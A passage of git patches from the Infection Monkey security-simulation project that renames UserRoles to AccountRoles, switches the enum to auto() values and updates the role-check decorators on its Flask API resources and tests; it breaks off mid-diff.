test_reset_island__publish_to_event_topics( tmp_path, mock_repository_encryptor, mock_island_event_queue, - mock_user_datastore, ): - a_s = AuthenticationService( - tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) a_s.reset_island_data() From 474ba3dc18ebaa0df9d559a3078ff2fc5dcc72ce Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:21:40 +0100 Subject: [PATCH 0487/1338] Island: Remove Role.description as it is not needed --- monkey/monkey_island/cc/models/role.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/role.py b/monkey/monkey_island/cc/models/role.py index 5b605e389eb..ee17333643d 100644 --- a/monkey/monkey_island/cc/models/role.py +++ b/monkey/monkey_island/cc/models/role.py @@ -6,4 +6,3 @@ class Role(Document, RoleMixin): name = StringField(max_length=80, unique=True) - description = StringField(max_length=255) From 2ce59dc5b72e8d8d90c22b2e27d34734fa7f8b82 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:35:34 +0100 Subject: [PATCH 0488/1338] Common: Rename UserRoles to AccountRoles --- monkey/common/__init__.py | 2 +- monkey/common/{user_roles.py => account_roles.py} | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename monkey/common/{user_roles.py => account_roles.py} (91%) diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index fe49f5b1d08..f2947978a88 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -9,4 +9,4 @@ from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat from .hard_coded_manifests import HARD_CODED_EXPLOITER_MANIFESTS -from .user_roles import UserRoles +from .account_roles import AccountRoles diff --git a/monkey/common/user_roles.py b/monkey/common/account_roles.py similarity index 91% rename from monkey/common/user_roles.py rename to monkey/common/account_roles.py index ffe23381659..2d30b8b783f 100644 --- a/monkey/common/user_roles.py +++ b/monkey/common/account_roles.py @@ -1,7 +1,7 @@ from enum import Enum -class UserRoles(Enum): +class AccountRoles(Enum): """ An Enum representing user roles. This Enum represents roles that the user can have. The value From ab207a254053654d34fc24b3275234253e6f4678 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:36:31 +0100 Subject: [PATCH 0489/1338] Island: Rename UserRoles to AccountRoles --- monkey/monkey_island/cc/app.py | 8 ++++---- monkey/monkey_island/cc/resources/agent_logs.py | 4 ++-- .../cc/resources/agent_signals/terminate_all_agents.py | 4 ++-- monkey/monkey_island/cc/resources/agents.py | 4 ++-- .../monkey_island/cc/resources/clear_simulation_data.py | 4 ++-- .../cc/resources/exploitations/monkey_exploitation.py | 4 ++-- monkey/monkey_island/cc/resources/island_log.py | 4 ++-- monkey/monkey_island/cc/resources/island_mode.py | 6 +++--- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- monkey/monkey_island/cc/resources/machines.py | 4 ++-- monkey/monkey_island/cc/resources/nodes.py | 4 ++-- monkey/monkey_island/cc/resources/ransomware_report.py | 4 ++-- monkey/monkey_island/cc/resources/remote_run.py | 6 +++--- .../cc/resources/report_generation_status.py | 4 ++-- .../cc/resources/reset_agent_configuration.py | 4 ++-- monkey/monkey_island/cc/resources/security_report.py | 4 ++-- monkey/monkey_island/cc/resources/version.py | 4 ++-- .../flask_resources/agent_configuration.py | 4 ++-- monkey/tests/unit_tests/monkey_island/conftest.py | 4 ++-- 19 files changed, 42 insertions(+), 42 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index effe6535669..84f5de54acc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -9,7 +9,7 @@ from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError -from common import DIContainer, UserRoles +from common import AccountRoles, DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( @@ -111,7 +111,7 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): def to_dict(self, only_user): registration_dict = super().to_dict(only_user) - registration_dict.update({"roles": [UserRoles.ISLAND.name]}) + registration_dict.update({"roles": [AccountRoles.ISLAND.name]}) return registration_dict app.security = Security( @@ -127,8 +127,8 @@ def to_dict(self, only_user): def _create_roles(user_datastore: UserDatastore): - user_datastore.find_or_create_role(name=UserRoles.ISLAND.name) - user_datastore.find_or_create_role(name=UserRoles.AGENT.name) + user_datastore.find_or_create_role(name=AccountRoles.ISLAND.name) + user_datastore.find_or_create_role(name=AccountRoles.AGENT.name) def init_app_config(app, mongo_url, data_dir: Path): diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index fccbff3fb7d..ff6391604ff 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -4,7 +4,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from common.types import AgentID from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentLogRepository, UnknownRecordError @@ -19,7 +19,7 @@ def __init__(self, agent_log_repository: IAgentLogRepository): self._agent_log_repository = agent_log_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self, agent_id: AgentID): try: log_contents = self._agent_log_repository.get_agent_log(agent_id) diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index 828867dae8c..f16c68e60dc 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -5,7 +5,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import TerminateAllAgents as TerminateAllAgentsObject @@ -23,7 +23,7 @@ def __init__( self._island_event_queue = island_event_queue @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def post(self): try: terminate_all_agents = TerminateAllAgentsObject(**request.json) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index fcfca3b406d..06f68a881c9 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -5,7 +5,7 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import AgentRegistrationData, UserRoles +from common import AccountRoles, AgentRegistrationData from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository @@ -21,7 +21,7 @@ def __init__(self, island_event_queue: IIslandEventQueue, agent_repository: IAge self._agent_repository = agent_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return self._agent_repository.get_agents(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index e583138e86f..3b721176238 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -3,7 +3,7 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def post(self): """ Clear all data collected during the simulation diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index a06c5bfe14e..595e1590029 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -28,7 +28,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): monkey_exploitations = [ asdict(exploitation) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index 79b7495481e..60330f7cf74 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -3,7 +3,7 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from common.utils.file_utils import get_text_file_contents from monkey_island.cc.flask_utils import AbstractResource @@ -17,7 +17,7 @@ def __init__(self, island_log_file_path: Path): self._island_log_file_path = island_log_file_path @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): try: return get_text_file_contents(self._island_log_file_path) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index a3d66ebc219..5d6e2582ecd 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,7 +5,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import IslandMode as IslandModeEnum @@ -26,7 +26,7 @@ def __init__( self._simulation_repository = simulation_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def put(self): try: mode = IslandModeEnum(request.json) @@ -38,7 +38,7 @@ def put(self): return {}, HTTPStatus.UNPROCESSABLE_ENTITY @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): island_mode = self._simulation_repository.get_mode() return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index fff3cb7869e..19adb9a3104 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -3,7 +3,7 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService @@ -16,7 +16,7 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): # API Spec: This should be an RPC-style endpoint @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def post(self): body = json.loads(request.data) if body.get("action") == "run": diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index b7199bb089b..70049a68624 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IMachineRepository @@ -14,6 +14,6 @@ def __init__(self, machine_repository: IMachineRepository): self._machine_repository = machine_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return self._machine_repository.get_machines(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index 27368010442..e58ba34d0d0 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import INodeRepository @@ -14,6 +14,6 @@ def __init__(self, node_repository: INodeRepository): self._node_repository = node_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return self._node_repository.get_nodes(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index aa98f064302..7c5b3060062 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -1,7 +1,7 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -25,7 +25,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return jsonify( { diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 0d84c530105..79bff238865 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -5,7 +5,7 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services import AWSService from monkey_island.cc.services.aws import AWSCommandResults @@ -30,7 +30,7 @@ def __init__(self, aws_service: AWSService): self._aws_service = aws_service @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): action = request.args.get("action") if action == "list_aws": @@ -52,7 +52,7 @@ def get(self): return {} @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def post(self): body = json.loads(request.data) if body.get("type") == "aws": diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index a0dcafd3405..bacf95e3a6f 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -1,7 +1,7 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository from monkey_island.cc.services.infection_lifecycle import is_report_done @@ -14,7 +14,7 @@ def __init__(self, agent_repository: IAgentRepository): self._agent_repository = agent_repository @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return self.report_generation_status() diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index 0680d0ff5f9..fe2c5da6f4f 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -3,7 +3,7 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def post(self): """ Reset the agent configuration to its default values diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index 22545a7f8de..5ad92fd8bc6 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -1,6 +1,6 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.reporting.report import ReportService @@ -9,7 +9,7 @@ class SecurityReport(AbstractResource): urls = ["/api/report/security"] @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): ReportService.update_report() return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index 2e5d8da2ecb..27799efd548 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from monkey_island.cc import Version as IslandVersion from monkey_island.cc.flask_utils import AbstractResource @@ -16,7 +16,7 @@ def __init__(self, version: IslandVersion): self._version = version @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def get(self): return { "version_number": self._version.version_number, diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index 8d6425d9761..f7342c3fc08 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -4,7 +4,7 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import UserRoles +from common import AccountRoles from common.agent_configuration.agent_configuration import ( AgentConfiguration as AgentConfigurationObject, ) @@ -26,7 +26,7 @@ def get(self): return make_response(configuration_dict, HTTPStatus.OK) @auth_token_required - @roles_required(UserRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND.name) def put(self): try: configuration_object = AgentConfigurationObject(**request.json) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 4727dbb368b..96a45c27272 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -11,7 +11,7 @@ from flask_security import MongoEngineUserDatastore, Security import monkey_island -from common import UserRoles +from common import AccountRoles from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import Role, User @@ -72,7 +72,7 @@ def init_mock_security_app(): user_datastore = MongoEngineUserDatastore(db, User, Role) island_role = user_datastore.find_or_create_role( - name=UserRoles.ISLAND.name, description=UserRoles.ISLAND.value + name=AccountRoles.ISLAND.name, description=AccountRoles.ISLAND.value ) app.security = Security(app, user_datastore) ds = app.security.datastore From 1c8dd3385a2f2aaf36cb81f729b7cb00ef6893a9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:38:55 +0100 Subject: [PATCH 0490/1338] Common: Assign auto AccountRoles --- monkey/common/account_roles.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/common/account_roles.py b/monkey/common/account_roles.py index 2d30b8b783f..e5c9fc77823 100644 --- a/monkey/common/account_roles.py +++ b/monkey/common/account_roles.py @@ -1,12 +1,11 @@ -from enum import Enum +from enum import Enum, auto class AccountRoles(Enum): """ - An Enum representing user roles. - This Enum represents roles that the user can have. The value - of each member is the description of the role + An Enum representing roles. + This Enum represents roles that an account can have. """ - ISLAND = "Monkey Island, C&C Server" - AGENT = "Infection Monkey Agent" + ISLAND = auto() + AGENT = auto() From 353bf0da181872555430c546a80e88d5e6bb6230 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:43:38 +0100 Subject: [PATCH 0491/1338] Island, Common: Rename AccountRoles.ISLAND to AccountRoles.ISLAND_INTERFACE --- monkey/common/account_roles.py | 2 +- monkey/monkey_island/cc/app.py | 4 ++-- monkey/monkey_island/cc/resources/agent_logs.py | 2 +- .../cc/resources/agent_signals/terminate_all_agents.py | 2 +- monkey/monkey_island/cc/resources/agents.py | 2 +- monkey/monkey_island/cc/resources/clear_simulation_data.py | 2 +- .../cc/resources/exploitations/monkey_exploitation.py | 2 +- monkey/monkey_island/cc/resources/island_log.py | 2 +- monkey/monkey_island/cc/resources/island_mode.py | 4 ++-- monkey/monkey_island/cc/resources/local_run.py | 2 +- monkey/monkey_island/cc/resources/machines.py | 2 +- monkey/monkey_island/cc/resources/nodes.py | 2 +- monkey/monkey_island/cc/resources/ransomware_report.py | 2 +- monkey/monkey_island/cc/resources/remote_run.py | 4 ++-- monkey/monkey_island/cc/resources/report_generation_status.py | 2 +- .../monkey_island/cc/resources/reset_agent_configuration.py | 2 +- monkey/monkey_island/cc/resources/security_report.py | 2 +- monkey/monkey_island/cc/resources/version.py | 2 +- .../flask_resources/agent_configuration.py | 2 +- monkey/tests/unit_tests/monkey_island/conftest.py | 2 +- 20 files changed, 23 insertions(+), 23 deletions(-) diff --git a/monkey/common/account_roles.py b/monkey/common/account_roles.py index e5c9fc77823..65802fda0e4 100644 --- a/monkey/common/account_roles.py +++ b/monkey/common/account_roles.py @@ -7,5 +7,5 @@ class AccountRoles(Enum): This Enum represents roles that an account can have. """ - ISLAND = auto() + ISLAND_INTERFACE = auto() AGENT = auto() diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 84f5de54acc..d1d3f6b8c73 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -111,7 +111,7 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): def to_dict(self, only_user): registration_dict = super().to_dict(only_user) - registration_dict.update({"roles": [AccountRoles.ISLAND.name]}) + registration_dict.update({"roles": [AccountRoles.ISLAND_INTERFACE.name]}) return registration_dict app.security = Security( @@ -127,7 +127,7 @@ def to_dict(self, only_user): def _create_roles(user_datastore: UserDatastore): - user_datastore.find_or_create_role(name=AccountRoles.ISLAND.name) + user_datastore.find_or_create_role(name=AccountRoles.ISLAND_INTERFACE.name) user_datastore.find_or_create_role(name=AccountRoles.AGENT.name) diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index ff6391604ff..67bac284d10 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -19,7 +19,7 @@ def __init__(self, agent_log_repository: IAgentLogRepository): self._agent_log_repository = agent_log_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self, agent_id: AgentID): try: log_contents = self._agent_log_repository.get_agent_log(agent_id) diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index f16c68e60dc..40165f66cc7 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -23,7 +23,7 @@ def __init__( self._island_event_queue = island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def post(self): try: terminate_all_agents = TerminateAllAgentsObject(**request.json) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index 06f68a881c9..228bf78192a 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -21,7 +21,7 @@ def __init__(self, island_event_queue: IIslandEventQueue, agent_repository: IAge self._agent_repository = agent_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return self._agent_repository.get_agents(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index 3b721176238..9241ddfd8b0 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def post(self): """ Clear all data collected during the simulation diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index 595e1590029..4646f46b150 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -28,7 +28,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): monkey_exploitations = [ asdict(exploitation) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index 60330f7cf74..2ab24b9fc92 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -17,7 +17,7 @@ def __init__(self, island_log_file_path: Path): self._island_log_file_path = island_log_file_path @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): try: return get_text_file_contents(self._island_log_file_path) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 5d6e2582ecd..442971558c4 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -26,7 +26,7 @@ def __init__( self._simulation_repository = simulation_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def put(self): try: mode = IslandModeEnum(request.json) @@ -38,7 +38,7 @@ def put(self): return {}, HTTPStatus.UNPROCESSABLE_ENTITY @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): island_mode = self._simulation_repository.get_mode() return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 19adb9a3104..f90a5b6cdb6 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -16,7 +16,7 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): # API Spec: This should be an RPC-style endpoint @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def post(self): body = json.loads(request.data) if body.get("action") == "run": diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index 70049a68624..0f9af5c2493 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -14,6 +14,6 @@ def __init__(self, machine_repository: IMachineRepository): self._machine_repository = machine_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return self._machine_repository.get_machines(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index e58ba34d0d0..413396b6974 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -14,6 +14,6 @@ def __init__(self, node_repository: INodeRepository): self._node_repository = node_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return self._node_repository.get_nodes(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 7c5b3060062..6902cb672f4 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -25,7 +25,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return jsonify( { diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 79bff238865..bac5ef998b7 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -30,7 +30,7 @@ def __init__(self, aws_service: AWSService): self._aws_service = aws_service @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): action = request.args.get("action") if action == "list_aws": @@ -52,7 +52,7 @@ def get(self): return {} @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def post(self): body = json.loads(request.data) if body.get("type") == "aws": diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index bacf95e3a6f..c5aff55f259 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -14,7 +14,7 @@ def __init__(self, agent_repository: IAgentRepository): self._agent_repository = agent_repository @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return self.report_generation_status() diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index fe2c5da6f4f..ca274cf4345 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = 